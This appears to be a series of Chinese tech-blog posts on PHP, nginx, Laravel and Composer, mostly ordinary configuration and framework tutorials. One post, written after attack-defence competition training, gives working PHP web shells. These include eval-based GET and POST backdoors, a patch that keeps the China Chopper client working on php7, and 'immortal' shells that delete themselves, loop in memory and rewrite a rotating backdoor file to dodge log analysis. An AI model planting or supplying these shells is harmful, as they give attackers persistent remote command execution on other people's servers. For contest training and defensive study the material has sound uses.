nginx、php-fpm、php 三者的配置文件中都有 error_log 项,指定各自错误日志的保存路径。理论上它们三者的错误应该不会重合,即 nginx error_log 记录的是 nginx 进程自己的错误,php-fpm error_log 记录的是 php-fpm 进程自己的错误, php error_log 记录的是 php 脚本执行时候的错误。 用户访问 nginx 服务,nginx 将用户请求转发给 php-fpm,然后由 php-fpm 调用 php 解析器来执行 php 脚本文件。在这个过程中我们最关心的是执行 php 脚本文件时候产生的 php 错误。 默认配置 通常,默认的配置文件如下所示: nginx.conf http { error_log /var/log/nginx/error.log warn; } 通常,我们还会在 nginx.conf 中指定不同 server 段自己的 error_log,这样就可以把不同 server 的错误日志分开到不同的日志文件中。 php-fpm.conf (/etc/php-fpm.d/www.conf) error_log = /var/log/php-fpm/error.log ;catch_workers_output = yes php_admin_value[error_log] = /var/log/php-fpm/www-error.log php_admin_flag[log_errors] = on php-fpm 的 error_log 正常情况下只会记录 php-fpm 进程自己的信息,不会记录 php 脚本的执行错误。 后面三个配置项通常是放在 /etc/php-fpm.d/www.conf 中。 catch_workers_output 表示是否将每个 php-fpm worker 的 stdout 和 stderr 输出重定向到 error_log 中,默认不开启。而 php-fpm 的每个 worker 实际上就可以看作是 php 解析器。 php_admin_value[error_log] 会覆盖 php.ini 中的 error_log 配置。 php_admin_flag[log_errors] 会覆盖 php.ini 中的 log_errors 配置。 之所以会需要在 php-fpm.conf 覆盖 php.ini 中的配置项,是因为 php.ini 定义了整个 php 环境的配置,这就包括了在命令行直接执行 php script.php 时候的配置。而有些配置我们并不想影响全局,只想在 php-fpm 调用时起作用。 php.ini log_errors = On ;error_log = php_errors.log ;error_log = syslog log_errors 表示是否输出错误信息,如果关闭的话,连 stderr 都不会输出。 error_log 表示将错误信息输出到何处。可以指定日志文件的具体路径,指定为 syslog 的话则表示输出到系统日志中。如果不设置该值,则表示将错误信息输出到 stderr。php.ini 默认不设置该值。 所以根据上面的配置,/var/log/nginx/error.log,/var/log/php-fpm/error.log,/var/log/php-fpm/www-error.log 分别记录的是 nginx,php-fpm,php 脚本的错误信息。 php 日志读写权限 有时候即使确认了配置如上述一样,却无法在 /var/log/php-fpm/ 目录下找到 www-error.log 文件,而与此同时却在 /var/log/nginx/error.log 文件中发现了 php 脚本执行时错误信息。比如这样: 这很可能是因为 php 没有 /var/log/php-fpm/ 目录的读写权限,无法写入 /var/log/php-fpm/www-error.log。这时它就会将错误信息输出到 php-fpm worker 进程的 stderr,而 nginx 就会将它从 php-fpm 的 stderr 收到的任何信息以 error 等级写入自己的错误日志。 php-fpm master 进程通常是 root 用户,而 php-fpm 执行 php 脚本所使用的用户(亦即 php-fpm worker 进程的用户)是定义在 /etc/php-fpm.d/www.conf 文件中。 user = www group = www 所以只需要确保 php-fpm worker 有读写 /var/log/php-fpm/ 目录的权限,php 错误信息就能正确写入 /var/log/php-fpm/www-error.log 文件中。而 nginx 的 error_log 也就不会再收到 php 错误信息。 但是其实这种误打误撞的结果倒是我想要的。因为有时候我们会在 nginx 服务上部署多个网站,每个网站都通过 server 段中的 error_log 配置指定了自己的错误日志路径。所以我会更希望将 php 错误信息输出到对应网站的错误日志中,而不是统一输出到 php 的 error_log 中。 将 php 错误信息写到 nginx 站点的 error_log 不像上面那种 www-error.log 无写权限的歪路子,为了正确的将 php 错误信息写入到 nginx 每个站点各自的 error_log 文件中,需要保证如下几点: 在 /etc/php-fpm.d/www.conf 中开启 php_admin_flag[log_errors] = on。 在 /etc/php-fpm.d/www.conf 中注释掉 php_admin_value[error_log] 配置(并确保 php.ini 中也没有设置 error_log),让 php 的错误信息输出到 php-fpm worker 进程的 stderr。 在 nginx…
Laravel 6 – 从基本用户认证深入理解Laravel
启用Laravel的基本用户认证模块后,就会自动生成几个用户注册/登录/密码找回的页面。我们就来从这几个页面深入理解Laravel的用法。 1. 找到路由 这几个路由都由/routes/web.php文件中新增的Auth::routes(); 这一行注册的。 1.1 Facade 这个用法涉及到了Laravel的facade概念,facade是指用看起来像调用类的静态方法的语法(类名::静态方法)来调用容器中对应实例的同名公有方法的一种用法。 我们可以在/config/app.php的aliases数组中找到这个Auth别名,该别名指向实际的facade类'Auth' => Illuminate\Support\Facades\Auth::class, 所以在路由/routes/web.php中的Auth::routes()实际上就是Illuminate\Support\Facades\Auth::routes() 然后我们再去看这个...\Facades\Auth的代码。 class Auth extends Facade { protected static function getFacadeAccessor() { return 'auth'; } // 实际调用的是这个方法 public static function routes(array $options = []) { static::$app->make('router')->auth($options); } } 其中getFacadeAccessor()方法是所有Facade派生类都必须重写的,并且都要返回一个字符串,该字符串指向容器中的一个绑定名。这样就可以通过这个facade来找到容器中绑定的对应实例了。 所以这里我们就要去容器中找名为"auth"的绑定。OK,那么如何找到容器中的绑定关系呢?这个其实挺麻烦的,因为/config/app.php文件中的providers数组只是定义了ServiceProvider类,所有的绑定都是在ServiceProvider类的register()方法中进行的。最简单粗暴的办法就是直接在代码编辑器中全局查找内容singleton('auth 或者bind('auth 。还有一种办法是写一个测试页面通过dd(app()); 打印出整个容器。总之,我们可以在Illuminate\Auth\AuthServiceProvider.php的register()方法中找到这个"auth"其实绑定的是一个Illuminate\Auth\AuthManager类的共享实例(单例)。 然后由于Facade基类重写了php魔术方法__callStatic() ,当系统找不到Facade::method_name()这个静态方法时,就会自动调用__callStatic() 找到在getFacadeAccessor()中关联的实例,并调用其同名公有方法(非静态)。这就是facade的实现原理。 不过实际上由于...\Facades\Auth类中已经定义了routes()静态方法,所以会直接调用它。不会再通过__callStatic()去AuthManager实例那找了(况且AuthManager也没定义routes()方法 ^_^)。 1.2 Router 所以真实的路由,我们可以在Illuminate\Routing\Router类的auth方法中找到。 public function auth(array $options = []) { // Authentication Routes... $this->get('login', 'Auth\LoginController@showLoginForm')->name('login'); $this->post('login', 'Auth\LoginController@login'); $this->post('logout', 'Auth\LoginController@logout')->name('logout'); // 等价与issset($options['register']) ? $options['register'] : true if ($options['register'] ?? true) { $this->get('register', 'Auth\RegisterController@showRegistrationForm')->name('register'); $this->post('register', 'Auth\RegisterController@register'); } // Password Reset Routes... if ($options['reset'] ?? true) { $this->resetPassword(); } // Password Confirmation Routes... if ($options['confirm'] ?? class_exists($this->prependGroupNamespace('Auth\ConfirmPasswordController'))) { $this->confirmPassword(); } // Email Verification Routes... if ($options['verify'] ?? false) { $this->emailVerification(); } } 从上面的代码看出我们可以通过在/routes/web.php中给Auth::routes() 添加参数来关闭,开启某些路由。比如通过Auth::routes(['register'=>false])来关闭注册页面的路由,通过Auth::routes(['verify'=>true])来开启邮箱验证路由(这还要配合开启注册时候的邮箱验证来使用)。 2. 中间件 中间件提供了一种方便的机制过滤进入应用程序的 HTTP 请求。中间件是HTTP请求经过路由分发后的第一道槛。在“AUTH路由图”中我们可以看到所有的AUTH路由都关联了web中间件,还有部分关联guest,auth中间件。 2.1 定义中间件 中间件的定义文件默认都放在app/Http/Middleware 目录下。 2.2 注册中间件 定义了中间件的类之后,还需通过app/Http/Kernel.php 文件向系统注册中间件,告诉系统有哪些中间件,叫什么名字。 $middleware : 全局中间件数组,所有的HTTP请求都要经过这里的中间件。(不需要定义名字) $routeMiddleware : 注册[中间件名 => 中间件类]的对应关系。(auth中间件、guest中间件就在这) $middlewareGroups : 注册[中间件组名 => [中间件组] ]的对应关系。(web中间件组就在这) 如果想要为指定的路由分配中间件,那么就必须先注册中间件名或中间件组名。 2.3 关联中间件 定义并注册了中间件之后,就要把中间件分配到路由上了。 a. web中间件组是如何关联到/routes/web.php文件中的所有路由的? 在App\Providers\RouteServiceProvider@mapWebRoutes() 方法中,加载/routes/web.php文件的同时就将web中间件组分配到所有的web路由组。 protected function mapWebRoutes() { Route::middleware('web') // 实际上是调用 RouteRegistrar->attribute('middleware', ['web']) ->namespace($this->namespace) // RouteRegistrar->attribute('namespace', $this->namespace) ->group(base_path('routes/web.php')); // RouteRegistrar->group('web.php') } protected function mapApiRoutes() { Route::prefix('api') // 实际上是调用 RouteRegistrar->attribute('prefix', 'api') ->middleware('api') // RouteRegistrar->attribute('middleware', ['api']) ->namespace($this->namespace) // RouteRegistrar->attribute('namespace', $this->namespace) ->group(base_path('routes/api.php')); // RouteRegistrar->group('api.php') } 这几行代码看着简单,其实底层涉及很多概念,所以必须要好好说道说道了(ง •̀_•́)ง 首先是Route::static_method() 这样的facade用法,它实际上调用的是容器中名为"router"的\Illuminate\Routing\Router 单例绑定。(在Illuminate\Routing\RoutingServiceProvider 中注册的) 然后,我们会发现在\Illuminate\Routing\Router 类中根本找不到middleware() ,namespace() 方法。而且它的prefix() 方法是protected的,也不能通过Route::prefix() 这种facade方式来调用。 实际上,\Illuminate\Routing\Router 实现了php的魔术方法__call($method, $parameters) 。当系统找不到$router->method() 时就会自动调用$router->__call($method, $parameters) 。 public function __call($method, $parameters) { // 先尝试通过Macroable trait注册的外部方法(关于Laravel Macroable用法请自行搜索) if (static::hasMacro($method)) { return $this->macroCall($method, $parameters); } if ($method === 'middleware') { return (new RouteRegistrar($this))->attribute($method, is_array($parameters[0]) ? $parameters[0] : $parameters); } return (new RouteRegistrar($this))->attribute($method, $parameters[0]); } 所以Route::middleware() ,Route::prefix() ,Route::namespace() 最终调用的都是Illuminate\Routing\RouteRegistrar->attribute($method, $parameters) 方法。它负责将$method, $parameters转换成[属性 => 值]的形式写入自己的$attributes数组中,并返回RouteRegistrar实例本身。 由于方法返回实例本身,所以就能方便地使用php链式调用(Method Chaining)语法了:$instance->method()->another_method(); 最后,Illuminate\Routing\RouteRegistrar->group() 就会调用Illuminate\Routing\Router->group() 方法,加载路由文件(或是定义路由的闭包函数),为每个路由生成Illuminate\Routing\Route 实例并关联上这组路由的属性(即middleware、prefix、namespace这些)。 所有的Illuminate\Routing\Route…
Laravel 6 - 使用Laravel 6的用户认证“脚手架”
1. 创建laravel 6项目 在工作目录下执行如下命令,通过composer创建laravel项目。 composer create-project --prefer-dist laravel/laravel blog "6.*" 该命令会在当前工作目录下生成blog项目目录。整个目录结构如下,关于laravel项目目录结构的说明可以参考Laravel Docs 然后使用php artisan serve 启动网站服务,或者配置nginx来运行网站。 初始的网站只有两个路由,可以通过命令php artisan route:list 来检查路由。 默认路由/,只是一个静态的欢迎页面。 API路由/api/user,出错了,原因是刚刚初始的laravel项目还没有安装laravel/ui。laravel/ui就是在laravel version 6之后单独拎出来的用户认证“脚手架”。它提供了用于基本用户认证控制器、模型、视图等代码。 2. 下载laravel/ui 执行命令:composer require laravel/ui:^1.0 --dev 注意要laravel framework 6只支持版本1的laravel/ui,所以这里必须加上版本限制,--dev可加可不加。 这个命令只是修改了根目录下的composer.json与composer.lock文件(还有下载laravel/ui包到/vendor目录下,并修改了/vendor/composer/autoload_*.php文件,追加了Laravel\Ui命名空间的自动加载。不过默认的git是不追踪vendor目录的^_^) 3. 使用laravel/ui的用户认证“脚手架” 执行命令:php artisan ui vue --auth 该命令自动为我们生成了控制器HomeController.php(认证相关的控制器本来就有),在routes/web.php生成新的路由信息,生成认证页面的模版文件,生成认证页面的静态文件(js, sass, vue这些) 这时候访问网站首页,会发现右上角多了两个按钮LOGIN与REGISTER。点击LOGIN或者REGISTER就能进入登录或者注册页面。但是此时页面排版是混乱的,因为没有真正的静态文件js与css。刚刚生成的静态文件其实是在/resources目录下预处理前的静态文件,还需要用npm生成真正的静态文件并放到/public目录下才行。 4. 下载npm依赖包 执行命令:npm install 该命令会在项目根目录下新建目录/node_modules,将JavaScript依赖包下载到该目录中。同时生成/package-lock.json文件。 5. 生成前端静态文件 执行命令:npm run dev 该命令会生成项目真正的前端静态文件。这时候再刷新登录/注册页面就会发现页面正常了。 部署到生产环境的话,应该用: npm run production 。可以有效减小生成的app.js与app.css的文件大小。 6. 配置数据库 虽然登录/注册页面看起来正常了,但是此时我们还没有配置网站的数据库连接,也还没生成用户表。 6.1 配置数据库连接 修改/.env文件中的数据库连接配置。 6.2 自动生成数据库表 执行命令:php artisan migrate 该命令会根据/database/migrations目录下的几个migrate文件自动创建表。其中migrations表使用来记录migrate动作的。 此后就可以正常的使用用户登录/注册功能了。 7. 配置邮件发送服务 此时如果想使用默认的重置密码页面,就得先配置Laravel的邮件发送服务。 以使用网易个人邮箱的smtp服务为例,去网易邮箱的设置页面开启POP3/SMTP服务,这时会给你一个授权码,这个授权码就第三方邮件服务登录网易邮箱的密码(而不是用你自己的用户登录密码)。所以修改/.env文件中的MAIL配置如下: MAIL_USERNAME就是网易邮箱的用户名 MAIL_PASSWORD就是刚刚得到的授权码
Composer入门
1. 新建目录composer_test 后续的所有操作都在该目录下执行。所以现在该目录为空。 2. 使用Composer下载第一个包(monolog/monolog) 方法一 在当前目录下直接执行require命令:composer require monolog/monolog 。 该命令首先会在目录下寻找composer.json文件,如果没有的话则自动创建composer.json并将require的依赖包写入该文件。 然后再去composer源上下载所需要的依赖包,放到vendor目录下。 将依赖包的顶级命名空间与其源码目录的对应关系写入到/vendor/composer目录下的autoload_*文件中。 运行完命令后目录结构变成如下图所示。 /composer.json文件 是composer进行项目依赖管理的配置文件。 /composer.lock文件 是composer下载依赖包时候创建的文件,它记录了当前下载到的所有依赖包的版本。 /vendor目录 是composer下载到的依赖包所存放的目录。(为什么当前/vendor目录下除了monolog还有composer与psr文件夹呢?因为monolog依赖于psr/log包,而composer文件夹则是存放实际负责类自动加载的函数。) /vendor/autoload.php文件 是composer的自动加载入口,它可以加载 vendor目录下所有依赖包的类文件。为了使用composer的自动加载,我们需要将这个autoload.php引入到项目的根引导文件中(index.php) 方法二 在空的项目目录下创建一个composer.json文件。(其中^2.0的意思是取大版本号为2的最新稳定版本) { "require": { "monolog/monolog": "^2.0" } } 然后执行命令composer install 。然后composer就会根据composer.json文件去下载所需要的依赖包。结果同方法一中的截图一样。 3. 使用Composer的自动加载 在项目根目录下新建一个index.php文件。 <?php require __dir__.'/vendor/autoload.php'; $log = new Monolog\Logger('mylog'); $log->pushHandler(new Monolog\Handler\StreamHandler('php://stderr', Monolog\Logger::DEBUG)); $log->warning('what\'s up'); 在第一行引入composer的autoload.php,它是composer实现自动加载的入口。 然后在后续的代码中,直接调用Monolog\Logger类即可。不需要再去手工require。 究其原因,我们打开/vendor/autoload.php文件看一下。 它实际上是调用了/vendor/composer/autoload_real.php文件,autoload_real.php文件要做的事情是: 调用./autoload_static.php,该文件包含了依赖包命名空间与源码目录的对应关系。并将这些对应关系写入./ClassLoader实例中。(autoload_static.php的作用等同于另外三个文件autoload_classmap.php, autoload_namespaces.php, autoload_psr4.php之和。根据php版本的不同,也有可能是调用那三个文件。) 调用php的spl_autoload_register函数,将./ClassLoader实例的loadClass方法注册为一个__autoload函数。这样当系统找不到某个类的实现源码时,就会调用这个ClassLoader实例。该实例就可以通过在上一步骤中获知的命名空间与源码目录的对应关系来找到类的实现源码,并include这个源码文件。(所以,Composer是懒加载的,只有在需要某个类时才会真正去加载该类的源码) 4. 自动加载自己编写的类 假设我们把自己项目的代码放在/composer_test/src目录下。比如说 <?php namespace CTest; class User { function hi() { echo 'hello, world'; } } 那么在没有让Composer自动加载识机制别我们的CTest命名空间之前,我们要想在/composer_test/index.php中引用User类。就必须直接引入该文件: <?php // require __dir__.'/vendor/autoload.php'; require __dir__.'/src/User.php'; $u = new CTest\User(); $u->hi(); 为了让Composer的自动加载能够识别我们自定义的类,首先需要在项目根目录的composer.json文件中加上autoload字段。 { "require": { "monolog/monolog": "^2.0" }, "autoload": { "psr-4": { "CTest\\": "src/" } } } 然后在项目根目录下执行命令composer dump-autoload ,可以看到该命令执行结果就是生成了autoload files。 我们可以观察到/vendor/composer/目录下的autoload_static.php与autoload_psr4.php都加入了刚写的命名空间。 这时候,就可以在/index.php代码中通过Composer的自动加载来调用刚写的Funway\User类了。 <?php require __dir__.'/vendor/autoload.php'; // require __dir__.'/src/User.php'; $u = new CTest\User(); $u->hi(); 5. require与require-dev的区别 在composer.json配置文件中,有两个类似的字段require与require-dev。相对应的它们命令为:composer require vendor/package 与composer require vendor/package --dev 。这两者有什么区别呢? require-dev是root-only的,是指只有在项目根目录下那个composer.json文件中的require-dev字段涉及的依赖包会被下载。而这些依赖包自己的composer.json中所需要的require-dev依赖是会被忽略的。这是require-dev唯一与require字段不同的地方。 在composer install 或者update 的时候,“root包”的require-dev是默认会被安装的。除非在install 或者update 的时候加上--no-dev 参数来指明不下载require-dev字段涉及的依赖包。 所以对于一个非package项目而言(即项目不打算作为可下载的包来发布,只是作为比如网站这样的一个项目),把依赖放在require还是require-dev中都是OK的。而对于打算作为包来发布的项目,那么就要考虑清楚哪些依赖是必须的,哪些依赖只是在开发测试时候才需要的。肯定不能把必须的依赖放在require-dev字段;也最好不要把非必须的依赖放在require字段。
php木马
最近参加了一次网络攻防大赛的培训。学到了不少知识,挺好的。 php的一句话木马 <?php // 这是一个GET版本的木马 // 用法是 http://domain/cmdget.php?cmd=phpinfo();exit(); @eval($_GET['cmd']); ?> 上面这一句话就是一个php的木马。当然,木马的前提是要将这个php文件上传到你的web服务器中,并且可通过url访问才行。有很多web漏洞可能导致被上传木马,包括上传文件漏洞、sql漏洞等等。 解释一下上面这一句话: @符号,是php的错误控制符,放在任何表达式之前,该表达式可能产生的任何错误信息都被忽略掉。可以放可不放。 eval(code_str), eval函数把字符串参数code_str当作php代码来解析执行。 $_GET['cmd']就很好解释了,就是获取url中的cmd查询字符串。 所以合起来的意思就是执行用户在url查询字符串cmd输入的语句。这个语句可以是任意合法的php语句。phpinfo(),exit()(加exit是因为有时候这一句话木马是注入到别的php文件里面的,为防止该文件的其他php语句打乱输出结果,直接执行完想要的命令就终止运行。)还有一个很重要的php语句system(cmd),可以执行系统指令,并输出结果。 所以,实用http://domain/cmdget.php?cmd=system("ls -tl");exit();就能得到在web服务器ls -tl命令同样的结果。这样就叫getShell了。 <?php // post版的一句话木马 eval($_POST['cmd']); ?> <?php // 这是一个GET版本的木马,token=ca@C // 所以这个木马的用法是 http://domain/cmdget.php?token=ca@C&cmd=phpinfo();exit(); if (md5($_GET['token']) === '918dac51dfad24f0b5698723d1371e73') { eval($_GET['cmd']); } echo "hello,world"; ?> 由于菜刀工具会调用php7中已经剔除的函数set_magic_quotes_runtime,所以如果将上面的木马放在php7服务器上用菜刀连接的话,会报500内部错误。为了绕开这个错误,可以简单的在木马脚本上伪造一个set_magic_quotes_runtime函数。 <?php // 这是一个POST版本的木马,token=ca@C if (!function_exists('set_magic_quotes_runtime')) { // php7中不再有set_magic_quotes_runtime方法了,而菜刀工具扫描时会调用该方法,这就可能出错。 function set_magic_quotes_runtime($new_setting) { return true; } } if (md5($_POST['token']) === '918dac51dfad24f0b5698723d1371e73') { @eval($_POST['cmd']); } echo "hello,world"; ?> 不死马 所谓的不死马,就是先上传一个“木马生成器”,然后通过url访问一次该木马生成器,使其常驻内存并保证木马文件存在。 <?php // 木马文件 $webshell_filename = 'trojan.php'; // 木马token $webshell_token = '1234'; // 木马内容 $webshell_content = '<?php if (md5($_GET["token"])==="'.md5($webshell_token).'") { eval($_GET["cmd"]); } echo "hello,world."; ?> '; // 木马内容校验码 $webshell_content_md5 = md5($webshell_content); // 其实现在想想,没必要做token加密,因为即使对方不能从fuck.php中看出token值来, // 也可以去找服务器日志,查找这个攻击的url,里面不就带着token了吗。 // 删除自身 unlink($_SERVER['SCRIPT_FILENAME']); // 忽略客户端退出 ignore_user_abort(true); // 设置运行时间无限制 set_time_limit(0); // 常驻内存无限循环 while(true){ if (file_exists($webshell_filename) && md5(file_get_contents($webshell_filename)) == $webshell_content_md5) { // 如果已经存在webshell文件,则休眠一小会 sleep(1); } else { // 否则重新写入webshell file_put_contents($webshell_filename, $webshell_content); } } ?> ps:其实后面想想,在木马中加入token其实是没啥鸟用的。因为我们访问木马文件时候,token值是在url中明文发送过去的,如果对方有流量日志,那么直接就能看到我们的token。那么就能复用我们的木马脚本来攻击其他被种马的服务器,窃取我们的“劳动果实”。 要想让被种马的无法流量分析来盗用我们的不死马,有一个简单的方法就是每隔一小段时间(1分钟或更短)变换木马文件名,在对方分析出木马文件之前,旧的文件名已经失效了。 随机变换不死马文件名 <?php // 新的不死马 // 如果不死马fuck_xxxxx.php写入成功 // 访问fuck_xxxxx.php, 会打印2333 // 访问fuck_xxxxx.php?cmd=phpinfo();即可执行命令 // 文件名后缀xxxxx的生成规则如下: // md5(年月日时分+盐)取中间五位。 // 还可以更进一步md5(年月日时分+盐+目标ip)取中间五位。这样,每台被种马的服务器上的木马文件名都不一样。 $webshell_content = '<?php eval($_GET[cmd]); echo 2333;?>'; $webshell_content_md5 = md5($webshell_content); unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $old_filename = ''; while(true){ $webshell_filename = 'fuck_'.substr(md5(date('YmdHi').'Ewiniar'), 1, 5).'.php'; if ($old_filename!==$webshell_filename && $old_filename!=='') { unlink($old_filename); } if (file_exists($webshell_filename) && md5(file_get_contents($webshell_filename)) == $webshell_content_md5) { usleep(300000); } else { file_put_contents($webshell_filename, $webshell_content); $old_filename = $webshell_filename; } } ?>
wnmp启停脚本
windows下启动mysql、php、nginx ::关闭回显 @echo off set WNMP_HOME=C:/wnmp set NGINX_HOME=C:/wnmp/nginx-1.14.0 set PHP_HOME=C:/wnmp/php-7.2.7-nts-Win32-VC15-x64 echo Starting mysql... set status=1 (tasklist|find /I "mysqld.exe" || set status=0) 2>nul 1>nul if %status% equ 1 ( echo mysqld.exe already exists ) else ( ::net start 命令必须用管理员权限才能运行 net start mysql ) ::输出换行 echo. echo Starting php-cgi... set status=1 (tasklist|find /I "php-cgi.exe" || set status=0) 2>nul 1>nul if %status% equ 1 ( echo php-cgi.exe already exists ) else ( %WNMP_HOME%/RunHiddenConsole.exe %PHP_HOME%/php-cgi.exe -b 127.0.0.1:9000 -c %PHP_HOME%/php.ini echo php-cgi.exe start! ) ::输出换行 echo. echo Starting nginx... set status=1 (tasklist|find /I "nginx.exe" || set status=0) 2>nul 1>nul if %status% equ 1 ( echo nginx.exe already exists ) else ( %WNMP_HOME%/RunHiddenConsole.exe %NGINX_HOME%/nginx.exe -p %NGINX_HOME% echo nginx.exe start! ) ::输出换行 echo. pause 关闭nginx、php、mysql ::关闭回显 @echo off echo Stopping nginx... taskkill /F /IM nginx.exe > nul echo. echo Stopping php-cgi... taskkill /F /IM php-cgi.exe > nul echo. echo Stopping mysql... net stop mysql echo. pause 由于需要用到管理员权限运行,但原bat脚本无法设置每次默认用管理员权限运行, 只能点每次点右键进行管理员运行,这很蛋疼。 有个曲线救国的方法。把bat脚本放到其他目录下,然后发送快捷方式到桌面,右键快捷方式点击“属性”—“快捷方式”选项卡—“高级”—“用管理员身份运行”勾选上即可。
POST提交数据的方式
最近第一次使用vuejs做前端,用axios库来做表单的提交,结果发现php后台的$_POST是一个空数组,无法获取提交过来的数据。 查了一下,发现这个前端POST提交数据的方式有关。 1. 默认的application/x-www-form-urlencoded方式 使用html原生的<form>标签,并且不设置enctype属性,那么表单数据就会默认以application/x-www-form-urlencoded方式提交。 <form action="doAction.php" method="post"> 名字: <input type="text" name="fname"> <input type="submit" value="提交"> </form> 这时候可以看一下请求头的Content-Type: 这样,在php后台使用$_POST就能得到用户提交的表单数据。echo $_POST['fname']; 另外如果使用传统jquery的$.ajax来提交form表单,默认也是以application/x-www-form-urlencoded方式来提交,所以使用$.ajax时候经常要将表单变量$("#form_name")序列化(serilize) $.ajax({ type: 'post', data: $("#form_id").serialize(), url: 'action url', success: function(result, status, jqXHR){ ... } }); 2. application/json application/json这个方式作为响应头的Content-Type必定大家都不陌生,因为我们经常要从后端返回json数据。但随着现在前端技术的发展,尤其像AngularJS、Vue.js框架的应用,json数据经常也会被用作请求来发送。比如下面这段AngularJS代码 var data = {'name':'abu', 'age' : 20}; $http.post(url, data).success(function(result) { ... }); 或者在Vue.js中使用axios库发送表单时候: var app = new Vue({ el: '#app', data: { form: { name: 'test', place: 'gz' } }, methods: { onSubmit(formName) { axios.post('/activity/create/testAction', Qs.stringify(this.form)) .then(function(res){ console.log('success'); }) .catch(function(err){ console.log(err); }); } } }) 都是以application/json作为Content-Type来post数据的。 但有些后端语言还无法很好的支持这种方式,比如我们用的php 5, php7。这时候使用var_export($_POST, true)得到的将会是一个空数组。需要自己从php://input流中获取原始输入流,再json_decode成json对象。 var_export(json_decode(trim(file_get_contents('php://input')), true), true) 这是从后端适配前端的方法,当然还有直接修改前端发送方式的方法,让Angular或者Vue使用x-www-form-urlencoded方式提交数据。 以Vue.js的axios为例,参考axios - Using application/x-www-form-urlencoded format。 这时候我们在看请求头的Content-Type,就能发现已经是传统的x-www-form-urlencoded方式了,php后端也能正常的从$_POST获取提交的数据。 3. form标签的其他enctype属性(multipart/form-data, text/plain) 暂时没见到,不做赘述了。以后遇到再说。
坑,Laravel的cache系统与entrust与throttle
laravel默认是使用file做cache驱动的,但file与database驱动的cache无法支持tag,这就与我用到的entrust插件冲突了,所以改成了array作为cache系统的驱动。 后来想用throttle中间件的时候,发现throttle无效,一猜就是cache的问题,因为改用array做cache后,array其实相当于一次进程获得的内存空间开辟的一块数组,那么如果cache在这个数组里面,请求处理完后,这个数组已经没有啦!所以throttle根本不起作用。想了想最好的办法还是得换redis或者memcache做cache驱动,尤其在生产环境。
Laravel框架 - 打印容器实例
初学laravel的时候,看到service provider这一块,一直纠结如何才能打印出容器内所有的service provider,因为光靠config/app.php文件,很难从alias看出其对应的service provider到底是哪个。后来才发现,其实在程序的任意地方(Application启动后),都可以通过 Container::getInstance()这个静态方法获取当前的Application实例。或者可以使用在全局helps.php中定义的的 app()方法来获取当前Application实例。 Route::get('/test', function () { dd(app()); // dd(Illuminate\Container\Container::getInstance()); }); 注意: 在laravel中打印变量尤其是“超大型”变量的时候,千万不要直接使用var_dump()。一来不直观,二来大型变量直接 var_dump可能会导致浏览器卡死(我猜应该是卡死在尝试将var_dump数据解析成dom上面)。=。=# 最好使用larave的全局函数dd()或者dump(),输出又美观,又不会卡死浏览器。 ps: 最好用dd吧,少用dump,今天发现一个bug,如果使用dump的话,会导致cookie操作失效=。=# 发起了一个讨论帖。 @2016.07.03 打印出来的Application如下如所示: serviceProviders:All of the registered service providers. 所有已注册的service provider。其实等同于loadedProviders,只是数组的格式不一样。 loadedProviders:The names of the loaded service providers. 所有已经加载的service provider。等同于serviceProviders。 deferredServices:The deferred services and their providers. 所有延迟加载的service provider。 [绑定名=>service provider] resolved:An array of the types that have been resolved. 已经解析(resolve)过的绑定关系会记录在这里。 bindings:The container's bindings. 容器中所有的绑定关系(并未指向真正的绑定实例,只是指向绑定关系的那段代码),即由Container::bind()与Container::singleton()定义的绑定关系。 [绑定名=>[生成绑定实例的闭包函数, 是否单例绑定]] instances:The container's shared instances. 容器中所有单例绑定生成的实例对象。 aliases:The registered type aliases. 绑定关系的别名,实际上是[绑定实例的类名=>绑定名]这样一个数组。 这个aliases通过Container::alias(绑定名, 别名)来定义,容器查找绑定关系的时候,会同时查找bindings[]与aliases[]数组。 [绑定实例的类名=>绑定名] 另外,注意这个aliases与/config/app.php文件中定义的aliases数组不同。/config/app.php文件中aliases数组是用来定义类的别名,底层调用的是php的class_alias函数。展开来说:在容器初始化的时候会创建一个Illuminate\Foundation\Bootstrap\RegisterFacades类实例。该实例通过AliasLoader::getInstance()静态方法来创建一个AliasLoader类的单例,并在构造单例时令其读取/config/app.php中的aliases数组,然后再调用该单例的register()方法,将AliasLoader单例的load()方法通过php的spl_autoload_register函数注册为__autoload函数(php在找不到类实现的时候就会自动调用__autoload函数栈来查找类的实现)。就是在这个单例的load()方法中,通过php的class_alias函数来注册类别名的。而容器中的aliases数组其实只是绑定名与绑定实例类名的对应关系。 resolvingCallbacks: 所有已注册的解析回调。 [绑定名=>解析回调的闭包函数] extenders: 扩展绑定。 [绑定名 => 扩展绑定的闭包函数]
关于var_dump输出的#号
php中使用var_dump打印一个对象的时候,其输出包括对象名,对象包含的成员变量(成员变量个数),以及一个“#序号”。像这样: object(B)表示这个对象是一个类名为B的实例;(2)表示这个对象内部有2个成员变量,分别是'name'与'age';但#2代表什么呢? 其实我个人感觉(我并没有找到确切的说明文档,这估计得去看看php内核了),php中新建一个对象(不包括int、string、array这些基本类型的实例)的时候,会将该对象放在某个内核数组中。而var_dump出来的这个#序号,就表示该对象在这个php内核数组中序号。不过这序号并不能代表该对象是第几个被创建的,举个例子: <?php class A { public $name; } class B { public $name; public $age; } // #1,此时内核中的对象数组长度为1 $obj1 = new A; $obj1->name = 'obj1'; var_dump($obj1); // #2,对象数组长度为2 $obj2 = new B; $obj2->name = 'obj2'; var_dump($obj2); // #3,临时对象,创建完后由于没有赋给某个变量,就销毁了,所以后面新建的对象仍为#3 var_dump(new stdClass()); // #3,临时对象,创建完后就销毁 var_dump(new A); // #3 $obj3 = new stdClass; var_dump($obj3); // 释放$obj2对象,对象数组中2的位置空余出来了。 unset($obj2); // #3,$obj3仍在序号3的位置 var_dump($obj3); // #2,新建的对象放入之前空余的位置。 $obj_x = new A; $obj_x->name = 'obj_x'; var_dump($obj_x); exit(); 上面代码打印出来的结果: